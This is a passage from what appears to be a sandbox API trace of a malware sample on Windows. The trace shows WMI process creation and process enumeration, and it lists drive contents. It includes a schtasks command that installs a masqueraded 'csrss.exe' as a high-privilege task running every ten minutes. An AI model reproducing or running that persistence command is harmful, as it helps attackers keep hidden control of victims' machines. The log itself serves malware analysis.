puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0058.010] WbemDefPath:IWbemPath:GetText (in: This=0x116a880, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0058.010] WbemDefPath:IWbemPath:GetText (in: This=0x116a880, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0058.010] WbemDefPath:IWbemPath:GetText (in: This=0x116a880, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0058.010] IWbemServices:GetObject (in: This=0x11c86d0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11ed450, ppCallResult=0x0) returned 0x0 [0058.030] IWbemClassObject:GetMethod (in: This=0x11ed450, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11ede80, ppOutSignature=0x1b2fd9e0*=0x11ee650) returned 0x0 [0058.031] IWbemClassObject:SpawnInstance (in: This=0x11ede80, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1199190) returned 0x0 [0058.032] IWbemClassObject:Get (in: This=0x1199190, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d5ee8*=0, plFlavor=0x29d5eec*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d5ee8*=8, plFlavor=0x29d5eec*=32) returned 0x0 [0058.032] IWbemClassObject:Get (in: This=0x1199190, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d5ee8*=8, plFlavor=0x29d5eec*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d5ee8*=8, plFlavor=0x29d5eec*=32) returned 0x0 [0058.032] IWbemClassObject:Put (This=0x1199190, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"csrssc\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files (x86)\\Windows Sidebar\\csrss.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0058.032] IWbemClassObject:Get (in: This=0x1199190, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d5f78*=0, plFlavor=0x29d5f7c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d5f78*=13, plFlavor=0x29d5f7c*=32) returned 0x0 [0058.032] IWbemClassObject:Get (in: This=0x1199190, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d5f78*=13, plFlavor=0x29d5f7c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d5f78*=13, plFlavor=0x29d5f7c*=32) returned 0x0 [0058.032] IUnknown:QueryInterface (in: This=0x11de7e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11de7e0) returned 0x0 [0058.033] IUnknown:QueryInterface (in: This=0x11de7e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0058.033] IUnknown:QueryInterface (in: This=0x11de7e0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0058.033] IUnknown:AddRef (This=0x11de7e0) returned 0x3 [0058.033] IUnknown:QueryInterface (in: This=0x11de7e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0058.033] IUnknown:QueryInterface (in: This=0x11de7e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0058.033] IUnknown:QueryInterface (in: This=0x11de7e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11de7e8) returned 0x0 [0058.033] IMarshal:GetUnmarshalClass (in: This=0x11de7e8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0058.033] IUnknown:Release (This=0x11de7e8) returned 0x3 [0058.033] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0058.034] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0058.034] IUnknown:QueryInterface (in: This=0x11de7e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0058.034] IUnknown:Release (This=0x11de7e0) returned 0x2 [0058.034] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0058.034] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0058.034] IUnknown:QueryInterface (in: This=0x11de7e0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0058.034] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0058.034] IUnknown:QueryInterface (in: This=0x11de7e0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0058.034] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0058.034] IUnknown:AddRef (This=0x11de7e0) returned 0x3 [0058.034] IWbemClassObject:Put (This=0x1199190, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11de7e0, varVal2=0x0), Type=0) returned 0x0 [0058.034] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a580, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0058.034] WbemDefPath:IWbemPath:GetText (in: This=0x116a580, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0058.035] WbemDefPath:IWbemPath:GetText (in: This=0x116a580, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0058.035] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a4c0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0058.035] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0058.035] WbemDefPath:IWbemPath:GetText (in: This=0x116a4c0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0058.035] WbemDefPath:IWbemPath:GetText (in: This=0x116a580, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0058.035] WbemDefPath:IWbemPath:GetText (in: This=0x116a580, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0058.035] IWbemServices:ExecMethod (in: This=0x11c86d0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1199190, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x11f0220, ppCallResult=0x0) returned 0x0 [0058.315] IWbemClassObject:Get (in: This=0x11f0220, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d62a8*=0, plFlavor=0x29d62ac*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xedc, varVal2=0x0), pType=0x29d62a8*=19, plFlavor=0x29d62ac*=0) returned 0x0 [0058.316] IWbemClassObject:Get (in: This=0x11f0220, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29d62a8*=19, plFlavor=0x29d62ac*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xedc, varVal2=0x0), pType=0x29d62a8*=19, plFlavor=0x29d62ac*=0) returned 0x0 [0058.415] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xac0) returned 0x328 [0058.415] GetExitCodeProcess (in: hProcess=0x328, lpExitCode=0x29ab60c | out: lpExitCode=0x29ab60c*=0x103) returned 1 [0058.726] CoTaskMemAlloc (cb=0x404) returned 0x11f04d0 [0058.726] QueryFullProcessImageNameA (in: hProcess=0x328, dwFlags=0x0, lpExeName=0x11f04d0, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Mozilla Firefox\\bitkinex.exe", lpdwSize=0x1b2fe138) returned 1 [0058.812] CoTaskMemFree (pv=0x11f04d0) [0059.036] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xbf0) returned 0x32c [0059.036] GetExitCodeProcess (in: hProcess=0x32c, lpExitCode=0x29ae774 | out: lpExitCode=0x29ae774*=0x103) returned 1 [0059.036] CoTaskMemAlloc (cb=0x404) returned 0x11f04d0 [0059.036] QueryFullProcessImageNameA (in: hProcess=0x32c, dwFlags=0x0, lpExeName=0x11f04d0, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files\\Windows Sidebar\\utg2.exe", lpdwSize=0x1b2fe138) returned 1 [0059.037] CoTaskMemFree (pv=0x11f04d0) [0059.041] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0xb50) returned 0x330 [0059.041] GetExitCodeProcess (in: hProcess=0x330, lpExitCode=0x29ad4c4 | out: lpExitCode=0x29ad4c4*=0x103) returned 1 [0059.041] CoTaskMemAlloc (cb=0x404) returned 0x11f04d0 [0059.041] QueryFullProcessImageNameA (in: hProcess=0x330, dwFlags=0x0, lpExeName=0x11f04d0, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Windows NT\\thunderbird.exe", lpdwSize=0x1b2fe138) returned 1 [0059.042] CoTaskMemFree (pv=0x11f04d0) [0059.046] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x8e4) returned 0x334 [0059.046] GetExitCodeProcess (in: hProcess=0x334, lpExitCode=0x29ae42c | out: lpExitCode=0x29ae42c*=0x103) returned 1 [0059.046] CoTaskMemAlloc (cb=0x404) returned 0x11f04d0 [0059.046] QueryFullProcessImageNameA (in: hProcess=0x334, dwFlags=0x0, lpExeName=0x11f04d0, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Program Files (x86)\\Microsoft OneDrive\\countryyou.exe", lpdwSize=0x1b2fe138) returned 1 [0059.047] CoTaskMemFree (pv=0x11f04d0) [0059.050] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x458) returned 0x338 [0059.050] GetExitCodeProcess (in: hProcess=0x338, lpExitCode=0x29ad6f4 | out: lpExitCode=0x29ad6f4*=0x103) returned 1 [0059.051] CoTaskMemAlloc (cb=0x404) returned 0x11f04d0 [0059.051] QueryFullProcessImageNameA (in: hProcess=0x338, dwFlags=0x0, lpExeName=0x11f04d0, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Windows\\System32\\spoolsv.exe", lpdwSize=0x1b2fe138) returned 1 [0059.051] CoTaskMemFree (pv=0x11f04d0) [0059.055] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x1ac) returned 0x33c [0059.055] GetExitCodeProcess (in: hProcess=0x33c, lpExitCode=0x29ad064 | out: lpExitCode=0x29ad064*=0x103) returned 1 [0059.055] CoTaskMemAlloc (cb=0x404) returned 0x11f04d0 [0059.055] QueryFullProcessImageNameA (in: hProcess=0x33c, dwFlags=0x0, lpExeName=0x11f04d0, lpdwSize=0x1b2fe138 | out: lpExeName="C:\\Windows\\System32\\winlogon.exe", lpdwSize=0x1b2fe138) returned 1 [0059.056] CoTaskMemFree (pv=0x11f04d0) [0059.060] CoTaskMemAlloc (cb=0x20c) returned 0x1163740 [0059.060] GetSystemDirectoryW (in: lpBuffer=0x1163740, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0059.060] CoTaskMemFree (pv=0x1163740) [0059.061] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0059.061] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0059.061] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x11a65a0 [0059.062] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0059.062] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0059.062] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0059.062] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0059.062] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0059.062] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x41aa3160, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x41aa3160, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0059.062] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0059.063] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0059.063] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0059.063] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0059.063] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0059.063] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0059.063] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0059.063] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0059.063] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0059.063] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0059.063] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0059.064] FindClose (in: hFindFile=0x11a65a0 | out: hFindFile=0x11a65a0) returned 1 [0059.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0059.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0059.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0059.064] GetFullPathNameW (in: lpFileName="C:\\Recovery", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Recovery", lpFilePart=0x0) returned 0xb [0059.065] FindFirstFileW (in: lpFileName="C:\\Recovery\\*" (normalized: "c:\\recovery\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11a65a0 [0059.069] FindNextFileW (in: hFindFile=0x11a65a0, lpFindFileData=0x1b2fdc10 | out: 